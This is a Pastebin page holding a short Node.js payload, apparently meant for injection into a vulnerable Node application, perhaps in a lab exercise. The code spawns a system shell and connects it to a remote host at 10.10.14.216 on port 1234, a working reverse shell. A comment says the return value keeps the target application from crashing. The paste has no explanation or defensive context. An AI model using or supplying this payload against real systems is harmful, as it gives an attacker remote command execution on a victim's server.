Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2019
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(){
  2.     var net = require("net"),
  3.         cp = require("child_process"),
  4.         sh = cp.spawn("/bin/sh", []);
  5.     var client = new net.Socket();
  6.     client.connect(1234, "10.10.14.216", function(){
  7.         client.pipe(sh.stdin);
  8.         sh.stdout.pipe(client);
  9.         sh.stderr.pipe(client);
  10.     });
  11.     return /a/; // Prevents the Node.js application form crashing
  12. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement